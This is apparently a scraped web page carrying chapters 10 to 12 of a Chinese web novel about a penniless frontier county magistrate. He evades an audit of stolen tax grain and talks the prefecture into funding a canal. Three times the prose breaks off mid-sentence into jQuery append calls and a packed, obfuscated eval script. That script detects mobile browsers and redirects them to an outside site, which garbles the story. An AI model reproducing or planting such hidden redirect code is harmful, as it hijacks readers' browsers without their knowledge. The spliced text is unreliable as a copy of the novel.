$(''.inform'').remove(); $(''#content'').append('' 今日之憾。” 杜良川呵呵一笑。 这小县令还挺敢想,一个边陲小县还想富裕呢,下辈子吧。 一顿饭吃得兴致缺缺,这不是素就是素的,唯一一个荤的还是个腌货。他杜良川哪次去下面巡视不是山珍海味、金奴银婢地伺候着,一趟下来腰包都能鼓上许多,有时一次拿的贿赂都能顶上几年的俸禄了,哪里像这回这么寒碜? 杜良川叹了一口气,抬头时发现对面的小县令吃的倒是挺换的,尤其是腌货,一口一口地往里塞。 得了,跟个穷鬼计较什么? 郑兴成瞪了裴杼好几眼,可惜这家伙只知道吃腌马肉,吃吃吃,就知道吃,一点也不晓得奉承上面的人。郑兴成倒是有心奉承,不过杜大人似乎没有兴致跟他说话。 郑兴成自诩在幽州有人脉,但是他讨好的那位仅仅录事参军事,可没接触过别驾这样的大官,他也拿捏不准对方的脾性,准备观察一下再讨好。 一顿饭就这么平平淡淡地结束了,几个幽州来的官员侍卫脸色都不大好。 没吃好脸色怎么能对呢?回官舍歇息后杜大人总觉得少了点什么油水,思来想去还是出了门。 还没走多久,便看到前面来了三个人,一个是永宁县县令,另外两个是今日在席上对着他谄媚过两句的人,似乎叫郑什么来着。 裴杼老远就看到郑兴成跟张如胜带着个食盒过来了。 衙门没掏钱,这一看就是郑大人自掏腰包了。裴杼在气郑兴成这件事上一向热衷,脚步一拐就迎了上去:“哟,郑大人这是给本官加餐呢?真体贴。” 郑兴成只是讥笑,张如胜护主心切,早就对裴杼不满了,看四下无人便大着胆子骂道:“想得倒是挺美,给狗吃都不给你吃!” 裴杼酸溜溜地“啧”了一声,也没计较什么。 没事气一气郑应成就行,何必跟张如胜这个二傻子说嘴? 片刻后,两份食盒被送到了杜良川眼前,还附赠郑、张二人讨好的嘴脸:“大人,这是我们二人特意为您准备的,还请大人笑纳。” 杜良川:“……” 他笑不出来,毕竟他不是狗。 郑兴成二人被无情地“请”出去了,杜大人自己则越想越憋屈,他还没有被人这样骂过。虽然知道这两人大概率没有胆子故意折辱他,但是这样没脑子的人,杜良川同样不喜。 第二日一早,攒够了火气的杜良川便开始调查税粮、欠款失窃一案,第一个被带过去审的便是郑兴成。 郑兴成还觉得莫名其妙呢,不应该最先审问县令吗? 魏平直勾勾地盯着郑兴成。 郑兴成也发现了,难得,这家伙竟然比裴杼还要紧张。恶意一起,郑兴成压低嗓门故意对着魏平耳语道:“你们洗干净脖子等死吧。” 魏平跟在裴杼身边,他对郑兴成的品德不放心,加上郑兴成这段时间频繁挑衅县令大人,此刻魏平紧张万分:“大人,郑兴成不会告密吧?” 裴杼挠了挠脸颊:“……应该不会这么快。” 他也不相信郑兴成,但是他相信郑兴成会权衡利弊,这事儿他招了只有坏处没有好处。 魏平提心吊胆地摸了摸衣兜,他也不希望真把人给毒死了。 10. 审问 外头的人等得心急如焚,不仅魏平慌了,就连张如胜也两腿打颤。 糟糕,大人不会死在里面了吧? 念头刚起,张如胜便赶紧给自己的大脸一个巴掌,呸呸呸,大人还说要带他吃香的喝辣的呢,怎么可能折在这件小事儿上? 半个时辰后,郑应成终于脸色苍白地出来了,精神萎靡不振,人也像是虚脱了一样,看着着实可怜。 但裴杼一见他这样便知道稳了。若是郑应成真招了,不该是这个模样,应该破罐子破摔且精神极度亢奋,还对他极尽嘲讽呢。 他三两步上前,毫不费力地搀着个头矮小的郑应成往前走了一截路,低声道:“多谢。” 只听得郑应成冷笑回应。 郑大人时常冷笑,裴杼已经对他的冷笑免疫了。不管怎么说,郑大人在生死关头还是拎得清的,下回有这样的事还得拉着他一起,靠谱。 没多久,张如胜就将裴杼给挤走了,转头又见里头来人将裴杼给叫了过去。 张如胜暗自幸灾乐祸,他们郑大人都已经被折腾得这么惨了,裴杼还能独善其身?等将郑大人扶到一旁坐下之后,张如胜才问:“大人,里面那些人到底问了您什么?” 王绰与魏平不约而同看了过来。 郑应成擦了擦汗水,问了什么?自然是问胡人南下的桩桩件件,包括他们如何退敌的。那个点火的东西郑兴成也没瞒着,不过杜良川倒是个有见识的,一下便猜到了是石脂水。这东西幽州也有,所以也看不上永宁县这点三瓜两枣,杜良川只是惊讶永宁县还有这个战斗力,他还以为永宁县都是些软蛋呢,kan 至于税粮跟钱款,亏得郑兴成跟裴杼早就对好了口供,提前将账本做得干干净净,且他又算是个心性坚定之人,若不然被这般反复逼问,肯定会露馅的。 其实郑兴成也想不通为何杜良川非得针对他,明明自己对他一直都谄媚有加,比裴杼上道多了,昨儿还亲自给他送饭菜呢。这都没打动杜良川,以至于让自己第一个受审,真倒霉,讨好人还讨好出毛病了? 新高个中内情知道的人也不多,郑应成从来也没准备告诉张如胜,这家伙脑子不好使,被人一乍就全倒出来了,他随口糊弄着:“无非就是守城跟仓库那些事,问得甚是仔细,这才耽误了不少功夫。” 郑应成其实心里也挣扎过要不要和盘托出,可理智告诉他,没有必要这样做,瞒天过海才是最有利于自己的选择。实在瞒不住了他肯定会断尾求生,可眼下还不到时候。 张如胜嘀咕道:“这么点破事儿还问了这么久。” 郑应成心累:“可不是么。” 眼瞅着魏平那个讨厌鬼还在竖着耳朵偷听,张如胜横了他一眼,压低声音问道:“大人,那您就没有告县令的状?多好的机会啊。” 郑应成忍不住翘起了嘴角,自然是有告的。 要命的事情不敢提,但是在别的事情上还是可以给裴杼上一上眼药的。譬如幽州借给他们的这笔钱,郑应成几乎明示对方,县令大人不肯还了,也是在县令大人的指示下,如今县衙上下已经达成了不还的共识了。 裴杼就等着被针对吧! 裴杼确实被针对了,等到他第二次听到欠款一事时,便已意识到郑兴成肯定说了什么,于是裴杼赶忙试图转移对方的注意力:“大人,这些钱跟粮食都是被胡人给抢走的,他们如此蛮横,是否需要写封国书去东胡谴责追回?总不能让永宁县白白受这个委屈吧?” “咳——”杜良川一口茶水没咽下去,险些喷出来,整个鼻腔都火辣辣的。整理了一番仪态后,杜良川才纳闷地打量着裴杼,这县令是个傻子么? 裴杼一脸乖巧:“两国议和期间,东胡却纵容民众如此放肆,这已严重到蔑视我梁国国威了,难道不该讨回这个公道?” 杜良川也没想到他这么敢想,两国议和,是梁国主动议的啊,他们压根不占优势,还追回,还谴责,想什么呢?但是这话肯定不能说,杜良川只好斥责一句:“始末还未查问清楚,休得胡言乱语。” 裴杼不服气:“还要如何查证?一切本就是胡人所为,永宁县百姓皆是见证。若非他们,难不成还是永宁县官员监守自盗,将那些税粮跟钱财昧下的吗?” 杜良川不是没想过这个可能,但也知道裴杼等人肯定没有这个胆子。这可是掉脑袋的重罪,谁敢去做? 裴杼还在喋喋不休:“永宁县常年被胡人所扰,这回无论如何也不能放过他们,必须讨回!大人,您可要给永宁县上上下下两千多户做主啊,如今永宁县就仰仗着您了。” “……行了行了。”眼瞅着裴杼越来越聒噪,杜良川赶忙打断,甚至被他闹得都没顾得上他不还钱的事儿了,直接将守仓的几个差役给叫过来问话。 这些人方才便已被带过来分开审问的,如今供词拿来一瞧,跟郑兴成、裴杼所言无二。 当初南下的胡人不过二千余人,但是在这份供词中却足足翻了一倍,胡人兵分两路,一路佯装攻城,吸引了永宁县所有人的注意力;一路则悄悄绕后,趁守仓差役不备打晕了他们,运走了钱粮。 等到永宁县百姓好不容易击溃敌军发现自己后方被盗、想要追查时,已经来不及了。 决定昧下粮食后,郑兴成本来是要直接弄死这些守仓的差役,不过几个人最终还是被裴杼给保下来了。也正因为此,他们才会对裴杼感恩戴德,马首是瞻,即便上面来了官员审问,他们也是咬死是胡人作乱。 有个差役还指着自己不小心摔断的胳膊,言之凿凿:“属下的这条胳膊便是被胡人弄断的,他们打晕了人不算,还打断了属下的胳膊,何其残忍!若不是怕血腥味引来野狗野猫,闹出更大的动静,没准属下等的小命都得交代在那里。” 说完磕了个头:“大人,属下胳膊这事,是否也能向胡人讨要医药费?” 杜良川:“……” 穷鬼成精了吧?他们知道自己在说什么吗? 找胡人要医药费,太守大人都没他们敢想敢做。 除这些人之外,县衙其他人也被侍卫带出去一一审查。结果没什么悬念,知道内情早已咬死胡人,不知道内情的口供更是出奇的一致——他们无条件相信这件事是胡人所为。毕竟除了胡人,没人会下手这么狠毒。 可杜良川却总觉得这事儿古怪,于是又带队出城暗访城中百姓。 偏偏城中百姓对胡人也憎恶到了骨子里,有些人哪怕没见过胡人偷了粮食,都能异口同声地将脏水往胡人身上泼: “没错,就是胡人偷的,我亲眼看到过!” “我也亲眼看到过,我还追出三里地呢,可惜没能追上。” “这群胡人这回学聪明了,都会虚晃一枪了,真是可恶。” 郑兴成:“……” 要不是粮食是他运出来的,他都得信了这说辞。从前怎么不知道这些人这么爱胡说八道来着? 不过这也是好事了,胡人丧尽天良的事情做多了,百姓对他们深恶痛绝,哪怕裴杼没开口他们都愿意配合,主动编造不少胡人的罪证。众口铄金,这个罪胡人不认也得认。 杜良川不置一词,又带人去了郊外。离县城最近的便是上颍村,罗村正得知县令大人造访早带了人前去迎接。等到了之后才发现另有别人,且此人还走在县令大人前头。 罗村正心下一转,猜测这位肯定就是幽州的大官了。 十月将至,城外的冬麦已经冒头,远远望去绿油油一片,长势喜人。杜良川意味不明地来了一句:“永宁县今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050692|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的收成不是说不大好么?” 裴杼点头:“是不大好,收了税粮后连种子都挤不出来了,听说税粮被盗之后,百姓们心痛不已,那都是他们辛辛苦苦挣来的,到头来却便宜了胡人。还是我们郑县丞看不得百姓受苦,将自家的粮食献出来给百姓先种上。有这样一心为民的官员,才是永宁县百姓之福。” 郑兴成心中稍微痛快了点,裴杼这厮还算说话算话,确实为他表功了。 “郑县丞?”杜良川诧异地看着郑兴成,此人模样矮小,落在杜良川眼里便有几分猥琐,不像裴杼那样大大方方的看着舒服,倒是没想到这种人还能有如此胸襟,“郑县丞家中挺富贵啊?” 郑兴成忙道:“不敢当,不过是经年的积蓄,拿出来后家底也亏了彻底。也幸亏永宁县的农户不多,需要的粮食也少,否则便是下官倾家荡产也补足不了这批粮食。” 裴杼话锋一转:“说起来,永宁县农户少也是那帮胡人作孽,原先永宁县可是有足足四千多户,如今只剩下了两千多户了。胡人时刻都盯着永宁县这块肥肉,大人,这回绝对不能放过这些胡人!” 又来了,杜良川无语。 他可以确认,即便这事捅到陛下跟前,胡人也不会受什么惩罚,更不会有任何赔偿,他们如今还不敢跟胡人翻脸。 在外转了一圈,问出来的话都大同小异,看来这次税粮钱款的确是胡人抢走的。毕竟,一个人可以说谎,却不能让整个县城的人都替他圆谎,更有百姓还都言之凿凿地说自己亲眼看到过,应当做不得假。 只是查明白了之后还得头疼,头疼该如何向朝廷给自己开脱。 这破地方杜良川是不想再多留一日了,他算是看明白了,永宁县的人又穷心里又没数,跟他们没什么好说的。他想走,裴杼还不稀罕招待他,巴不得他走块点儿。 不巧的是,回程时杜良川发现了永宁县预备修河渠一事,他立马盘问起了裴杼:“如此的大工程,想必要花不少钱吧,衙门的账目上怎么没见这笔钱?” 郑应成偷偷瞪了裴杼一眼,早让他不要着急此事,偏偏不听,这下可好了,被上面的人逮到了吧?有钱兴修水利,却没钱还给幽州,这到哪儿都说不过去。 他就等着看裴杼如何收场了。 裴杼一点没担心,胡说八道那是张嘴就来:“衙门账上的钱早就用光了,如今都是赊账雇人,所以正打算同州衙借一笔使一使呢。” 杜良川等幽州官吏:“……?” 等等,他们听到了什么?这厚脸皮的在说什么? 就连郑应成都在使劲给裴杼使眼色,乱说什么,他们上一笔钱都还没还呢! 裴杼本来是想用银矿顶着,但如今这些人在银矿也不能挖了,他忽然有了更好的主意:“杜大人,这河渠修建也是有讲究的,潮白河年年都有洪涝,影响的可不止永宁县这一片地方,整个水系覆盖的地方都会受灾,包括幽州州城也会被牵连。来日修好了这河渠,便可根治水患,幽州境内所有的地方也都能受益。惠及大家的事情,怎么能只让永宁县出钱出力?永宁县正值艰难之际,州衙多少应该掏一些,否则实在说不过去。” 杜良川感觉自己脑子都不够用了:“永宁县可还欠着钱没还呢,如今又要借?” “正因为欠钱不还,才更要借。这年年闹水患,百姓跟官府哪里攒得下来钱?只好一年年的拖欠着。等到这河渠修建之后,水患能够平息,还能养些鱼虾,百姓跟官府自然也能跟着富裕起来,这钱也能赶紧还上去。可若是没钱修河渠,那这欠款不是得攒到何年何月才能还清。” 裴杼腼腆一笑:“大人,我们是想还的,就看州衙愿不愿意雪中送炭了。” 借一笔也是借,两笔也是借,为什么不能多借一点呢? 11. 到账 杜良川深刻反思一番,忽然觉得自己错了,错得彻底,他就不应该跟个穷鬼提“钱”这个字。如今钱还不上不说,还被人赖上又想找他们借。 诚然,幽州不缺钱,朝廷为了稳固边境每年会额外拨一笔,但是这些钱自己都不够分,又怎么会愿意借给旁人?尤其还是借给永宁县。如今在杜别驾眼里,裴杼跟老赖也无二致了,没皮没脸的人谁都会忌惮三分,哪怕杜良川比裴杼高上好几个官阶也不例外。 当天下午,杜良川便叫人将幽州的账本复刻一份,而后急匆匆地准备回城,再待下去没准人家就直接伸手明抢了。 做戏做全套,送行的时候裴杼还握着杜大人对手,情真意切地表示:“大人,永宁县的公道就全仰仗您了。胡人太过猖狂,您一定要好生上表陈情,最好让陛下派兵直接剿灭了东胡,替永宁县上下出这口恶气!” 杜良川已经懒得吱声了,随意应付两句后,赶忙爬进了马车。这破地方他是再不想来了,裴杼这个心里没数的穷鬼县令他也不想再看见。 都已经出发了,还听到裴杼的声音在后面阴魂不散:“大人,还有借钱修渠这事儿,千万早点送过来,永宁县上上下下都等着呢。” 杜良川掀开车帘,对着车夫道:“快点儿走!” 马车没多久便跑没影了,只卷起了一地尘雾。 裴杼捂着鼻子,还觉得不够。他本来是想去挖银矿的,但是现在完全不想动这为数不多的矿藏,就一门心思盯着州衙,而且越想越觉得借钱这路子可行。还不还的先别说,反正得借过来。待借过来之后,修渠这件事就名正言顺了,一切账目也能抬到明面上来。 这次能险象环生,多亏了他们连夜修改账本,几个人加在一起反反复复对了好几遍,确认没错之后才放了心。他们都不擅长做假账,只有王绰稍微厉害些,但涉及到复杂的账还是有些力不从心。衙门里也没什么精通账目之人,如是不用做假账自然最好了。 裴杼回去之后便让王绰再写一道文书送去幽州。 没别的意思,就是哭穷加要钱。 郑应成都被裴杼这操作给惊呆了,他以为裴杼借钱不过是为了转移话题,没想到他还真的要借啊,咋想的呢? “你凭什么觉得州衙会借钱给咱们?” “当然是凭咱们欠了他们一大笔钱了!”裴杼感觉自己的强盗逻辑十分自洽,“想要让咱们还钱,就得先给咱们解决了最大的难题,让永宁县挣到钱,否则怎么还呢?靠盘剥百姓?百姓兜里也都干干净净,榨不出一点油水了。这钱,他们不借也得借。” 郑兴成:“……” 简直荒谬。 他对裴杼不抱任何期待,加上税粮等事翻篇了之后,郑兴成身上的账跟贪的钱也算是彻底解决了。庆幸之余,他还觉得疲惫不堪,他们这位县令,时而妇人之仁,时而胆大包天,只盼着这回别再牵连到他。心累身也累,郑兴成傍晚都没在衙门蹭饭,直接领着张如胜等人各回各家了。 他们走了更好,这两天招待杜良川的菜还剩下不少,裴杼直接吩咐后厨全都热好,由他们几人还有各差役平分。好歹是个荤菜,总不能浪费了。 王绰已经很久没有体会过穷困潦倒的滋味了,即便流放途中,他也有故人照看,不至于过得太拮据,可眼下…… “这是肋肉,王师爷吃吧,这些日子还得劳烦王师爷多写几道借钱的文书。” 碗里忽然多了一块腌肉,抬头时便看到裴杼那张笑吟吟的脸,叫人看不见一丝阴霾。 王绰没有被人这么实诚地讨好过,但是,感觉还不赖。本以为自己习惯了尔虞我诈的生活,如今来了永宁县才知道,原来日子还有另一种活法。 受了裴杼的“贿赂”后,王绰的文书写得越发用心了,当天便叫人紧急送去了州衙。 杜良川回程后天色已晚,等第二日一早,他才去寻了幽州太守刘岱回禀永宁县情况。 满城百姓作证,加上账目上也挑不出错,这事儿已经证实是胡人作为。 不出意外的结果,刘太守揉了揉眉心,想起自己写到一半儿的奏书。今日无论如何得写完送去京城禀明原委了,若是再拖,自己也得跟着吃挂落。 才刚商讨了两句奏书如何润色,便听到有衙役上前,道是永宁县送来了文书,请两位大人过目。 刘岱一头雾水:“永宁县这会子急哄哄地送什么文书?” 那边的杜良川心中忽然涌起不祥的预感,不会吧,永宁县县令不会这么没眼色吧? 等到打开文书一瞧,杜良川彻底气晕。 还真是,真就有人这么不懂眼色不知礼数,他竟然敢直接来州衙哭穷借钱! 连刘岱看得也茫然了一会儿:“永宁县上笔钱还没还,如今又来借?” 二人对视一眼,杜良川烦躁地蹙起眉头,半晌才道:“大人您不知道,裴杼那厮歪理一套接着一套,不借到钱是不罢休的。而且看他的意思,除非咱们再借一笔给他,否则上一笔欠款他是彻底不还了。” 个中缘由,文书上已经写得很清楚了,永宁县要修水渠来根治水患,造福整个幽州城,只是他们账上没钱只能来幽州借了。多冒昧啊,但凡知道点眉眼高低的人都不会这么干。 永宁县穷成什么样,刘岱是清楚的,他当即便给裴杼回了一封信。 隔日晚上,裴杼也收到了信。这位太守大人很是体贴,好话说了一堆,再三表示幽州不会抛下永宁县,这河渠他们肯定会出一份力。 只是最重要的他却一点都没说。裴杼将信扔到一边,对着魏平抱怨:“漂亮话说了那么多,却没说出多少钱,也没说什么时候出,这样的回信要来何用?” 魏平拿起信瞧了一眼,通篇的漂亮话,看得人心中熨帖。但是永宁县缺钱,这些话说得再多也不如给笔钱来得实在。 没要到钱,裴杼当然不甘心,于是抹黑跑去了王绰的房中,商议着再写一封明儿一大早就送回去。不料一连几封下去,幽州安抚的话说尽,可就是不松口。 钱难要,裴杼一连几天都是自讨没趣,惹得郑兴成跟张如胜看足了笑话。 郑兴成不怀好意地提点了两句:“大人还是悠着点儿吧,得罪了幽州太守,年底考评给你定个最末等你不就栽吗?” 裴杼其实压根不在乎什么考评,都已经差成这样了,还能再差么?不过想到当初给自己立的人设,立马反驳:“本大人想往上升还得靠区区一个幽州太守?只要再过上几年,不论政绩如何都能捞得回去。” 想到裴杼身后的裴家,还有裴家盘根错节的姻亲,郑兴成脸色不善地闭嘴了。 啧,上头有人了不起啊? 裴杼一脸嘚瑟,再次感受到了裴家这个名头的好用,尤其再骗郑大人的时候,那真是一骗一个准。若有朝一日郑大人得知他在裴家的真实处境,还不得气疯了? 借钱几番受挫,不过裴杼本身就是个愈挫愈勇的,人家越是不给他越是惦记。再说了,这笔钱本来就是永宁县该得的,永宁县百姓替幽州挡了多少灾了,说借已经是给面子了,按理说这笔钱就应该直接给他们! 水库一事也耽误不得,账上没钱裴杼就先欠着,给百姓打个借条,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050693|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们先跟着衙门去挖渠。 他担心百姓不相信官府,再三保证:“大伙儿只管放心,我以自个儿的名誉担保,这工钱肯定会尽快发放,绝对不会拖欠一文。” 其实给不给的城外的农户也无所谓,他们承了县衙这么大的情,本就应该出力。且如今县衙什么情况,百姓们也心知肚明,为了给他们善后,县衙已经一分钱都不剩了,估计很难拿出工钱分给他们。 但是为了不揭裴大人的短,百姓们就只当是不知情,只在私下悄悄安慰裴杼: “大人,即便这钱发不出来也不妨事,反正田里的麦子已经种下去了。” “正是,大人还是不要为了还钱处处节省,没钱就缓一缓吧。” 他们可以理解的! 裴杼叹息,多朴素的老百姓啊,都被压迫成这个样子还知道体谅人,对比起来,不给钱的那群人便显得面无可憎了。裴杼本来不打算将事情弄得太僵,可如今也管不了这么多了。 他直接命人前去拜访安平县县衙,让他们也出一批人过来挖水库。 安平县县令听到这差遣后,反应跟放出的杜良川一模一样:“凭什么?” 魏平回得一板一眼:“我们家大人说了,此处河渠修建起来受惠的可不止是永宁县,下游所有的地方都跟着得利。如今永宁县正是艰苦之际,贵县出点力难道不是应有之意?” ……呵,安平县县令没见过这么理不直气也壮的人。 “再者说来,州衙都愿意给钱了,你们安平县多出几个人算的了什么?此事永宁县牵头,又不需要其余各处费多少心,你们已是占了天大的便宜了!”想到当初永宁县在前挡着,安平县等地方躲在后面没伸过一次援手,魏平说话便忍不住恶意满满,“永宁县穷成这样,真有人好意思占尽便宜?” 话都说到这个份儿上了,安平县也不得不出些人将这些臭要饭的打发走。 他们自个儿也怀疑得很,遂转头又派人去问州衙,想打听一番州衙是什么时候给钱给永宁县修建什么河渠?给了多少?怎么竟一点消息都没透露出来。另一则,永宁县虽然行事粗俗,但是这事儿似乎办得不错,不知道来日州衙能否也帮他们修个河渠? 从安平县得了人,魏平又如法炮制,将周边几个县城都跑了一趟,极力散播州衙借钱修渠的消息。 于是向州衙问话的人越来越多,知道州衙借钱修渠的县也越来越多。 这事儿传开了,州衙直接被舆论架了起来,不借的话根本收不了场。 杜良川这辈子没有这么憋屈过,自己竟然被一个小小县令给摆了一道?!他愤愤不平:“大人,这裴杼行事太过肆意妄为,他就不怕前途尽毁?” 刘岱神色复杂:“他人已在永宁县,还能有何前途可言?” 永宁县县令可不是什么好差事,把他撸下去谁又愿意顶上?况且,一个能识文断字的人离了那等险恶之地,去哪儿都能混口饭吃,更不必说在杜良川口中,这裴杼还是个相貌极俊俏的年轻人。舍出一张脸来,便是不当官也不缺富贵日子做。 杜良川还是不服气:“那这回真就得让他如意了?” 刘岱无奈:“这回只能如此了。” 他如今担心的是奏书的事,那封陈情书应当已经摆上御前了,他们这位新君脾气可不好,不知事态会如何演变。 两日后,幽州又一次来了人。裴杼严阵以待地接见完,又喜不自禁地将人送走。 人刚走,裴杼便端不住了,兴冲冲地召集众人,迫不及待地宣布:“诸位,县衙要到饭——呸,是借到钱了!” 12. 谴责 钱款到账,衙门上下都为之沸腾起来。 众人真没想过州衙会给他们这笔钱,毕竟他们已经借过一回了,且这笔钱至今未还,未来……也不好说能不能还。但这不重要,重要的是州衙竟然不计前嫌又给了他们一笔,真是意外之喜,众人一窝蜂地上前围着裴杼,直夸他聪明、了不得、高瞻远瞩! 上回负责守仓库、后又被裴杼从郑应成手里保住一条小命的成四只差没有把“敬佩”两个字刻在脸上了:“大人,您可真厉害,凡是您想做的事儿,就没有一件办不成的!” 不管什么夸赞,裴杼都照单全收,自信心膨胀到极点。没错,他就是这么厉害! 当然啦,魏平也很厉害,裴杼也不吝啬,狠狠夸了一下魏平。 魏平虽然脸上淡定,但是心中的激动雀跃只有他自己明白,他也没料到自己还能立功呢,还得了大人的夸赞,真好。不过他千万得忍住,不能喜形于色,更不能让大人觉得他是个不稳重的属下。 “就没有一件办不成的~”张如胜阴阳怪气地学着成四的话,不屑道:“我就说成四这家伙是个墙头草,当初就不应该拉他一把。” 衙门里头的这些差役,哪个没有受恩于郑大人?以张如胜为例,他之所以对着郑应成这般死心塌地,还不是因为郑应成曾不遗余力地提拔过自己?其他人也一样。结果到头来,记住这份恩情的人压根没几个,眼下更是被裴杼的这点小恩小惠给收买全了,真是一群眼皮子浅的东西。 郑应成虽然也记恨裴杼抢了自己的风光,但是对成四等人的倒戈却算不上生气。之前亲近他们本来就是为了拉拢,没付出过什么真情实感,这些墙头草愿意倒哪儿就倒哪儿吧,当务之急是继续跟幽州那边加强联系,若能高升,他如今做的这些就都值得。 这笔钱快速入了账,当天下午,裴杼便亲自去了工地上兑现承诺了。 所有招过来的短工,衙门都负责两顿饭,做饭的粮食还是当初没有用完的税粮,裴杼愣是盯着才没让郑应成私吞,等于是从郑大人口里硬抠出来的。除两顿饭外,永宁县这边的短工额外能得一笔钱,这是提前说好了的。 百姓们也没想到真的能发钱,还发得这么快,前去领钱的时候都像是在做梦一样,处处透露着不真实之感。 他们竟然能从县衙手里拿的钱,还是比照着市价给的。以前陈县令在的时候可从来没有过,不从他们明抢就已经谢天谢地了,真的不一样了,县衙的作风从裴大人过来之后就变了个彻底! 但是还有人为此担心不已:“大人,这钱发下去之后真的不会影响您吗?” 裴杼哭笑不得,再三强调:“不影响,衙门还有钱,真的。” 钱到账不就是用来花的吗,裴杼虽然没富裕过,但却知道大钱是转出来的而非省出来的。若是以后没钱再借就是了,只借一笔钱他就还是孙子,借他个没完没了,他就是天王老子! 永宁县的人排着队领钱可扎了不少的眼,其他各县的人望着自己刚吃完的空碗,都觉得不平:“为什么他们有钱我们却没有,不都是干的一样的活吗?永宁县衙也太不公正了。” 有人气势汹汹地跑去质问发钱的差役,结果对方的回复也气人:“我们的工钱只发给永宁县的人,那些人都是我们县衙招过来的;你们若是要钱,只管找你们县衙要去,谁招来的谁负责。” “可是我们也是给永宁县干活啊。” “这不一样。”成四跟着裴杼几天,耳濡目染,嘴巴也利索了许多,“这个河渠虽然建在永宁县,但是各县都跟着受益,等修好了,日后大家便都不用面临洪涝之灾。是以你们也不是给永宁县干活,是给自己的县衙干活,给你们家县令干活。当初各家县令派人的时候,也都是尽各县的一份力。永宁县都已经穷成这样了,还找州衙借钱给大家伙发工钱,你们各县可比永宁县富裕多了,没道理连这点便宜都占,丢脸不丢脸?” 说完招呼其他永宁县的人赶紧过来领钱,发完了他还要陪县令大人巡视河渠工程呢。 众人辩不过他,只有退后一步默默生气的份儿。看着人家县的官吏跟百姓亲亲热热,他们自己这边却冷冷清清,滋味儿着实不好受。 最终对工钱的渴望还是压过了对县衙的恐惧,加上永宁县那位新县令待下确实和蔼可亲,叫他们对自家的县令也生了期待,于是晚上回去之后便开始找衙门追问工钱的事了。 各县县令被问得猝不及防。不是,这不是力役吗?都是百姓无偿进行的劳动,县衙不借此敲诈勒索就已经很不错了,还想找他们要钱?怎么想的? 可还不等他们将人轰出去,就听到百姓们言之凿凿地道:“可人家永宁县都是给钱的。” “是啊,永宁县不仅给钱,他们县令大人还每日都来探望呢,再三叮嘱,不许差役鞭笞百姓,若有欺压凌辱,一律严惩不贷。” “永宁县不仅给钱,还管两顿饭,还让他们的百姓吃饱。” 几句话,堵死了所有的推辞与质疑。货比货得扔,人比人得死,不比也就罢了,如今一比较起来,裴杼简直是踩着他们的脑门彰显自己的爱民恤物。若是再不给钱,岂不是坐视了他们不如永宁县县令了? 没奈何,最终各县衙还是捏着鼻子出了这笔钱,并且打算日后再不跟永宁县一块办差。明明可以当作徭役算,裴杼那现世宝非要招工,真是吃饱了撑的嫌自己钱多。 这么一想,连带着州衙也一道跟着埋怨起来了,要不是太守非要给钱,那现世宝也不能这么张狂。 翌日,离得近的安平县的张县令也憋不住了,趁着下午跑去了河渠工地上巡视。永宁县想来都是幽州各县最轻视的,没道理他这个县令反而被永宁县县令给比下去。 张县令赶过去时,却见裴杼早已经到了,甚至都已经问过了今日的工期、巡查过河口、发过了工钱,还跟百姓亲热地说完了话。 啧,装模作样,张县令就站在岸上无语地看完了全程。 还是魏平提醒,裴杼才意识到隔壁的县令过来了。当初要人帮忙的时候态度蛮狠,但是如今要到人了可就不能蛮横了,裴杼好脾气地上前寒暄并表示感谢。 张县令目光下移,落到裴杼沾满泥土的靴子上,觉得这年轻人为了装模作样还挺舍得折腾自己:“裴大人真是事必躬亲,用不着您干活的时候都这么忙前忙后,一刻也歇不得,倒是将咱们这些老人都给比下去喽。可怜我们这些老家伙都是不会说话、不会邀功的,如今幽州五县,也就裴大人对永宁县最为风光,连州衙都出钱出力,看来老实干活还不行,必得能说会道懂表现才行。” 啰哩巴嗦一大堆,裴杼只听出了其中有淡淡的酸意。言语上的排挤,在裴杼这里攻击性等同于零,他直接道:“那您也表现表现不就行了?” 张县令被噎住,他其实只是想讽刺一下来着,这人到底听没听懂? 听懂听不懂都不妨碍裴杼打直球:“眼下工期紧张,能够表现的机会可不少,张县令不妨多派些人过来。只要事情办得好,还怕州衙那边不记得安平县的功劳吗?” 张县令吓得后退了一步,怎么突然扯到这事儿上了:“此事休提,安平县如今人手也不够。” 裴杼一把握住张县令的手,情真意切:“不着急,这会不行还有下次,等到下回永宁县办大事儿我一定第一个知会您。咱们两县隔得又近、关系又好,合该守望相助才是。” 张县令干笑,抽了一下,一动不动。又使劲儿抽了一下,才把自己的手给抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050694|162795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,还挺疼。 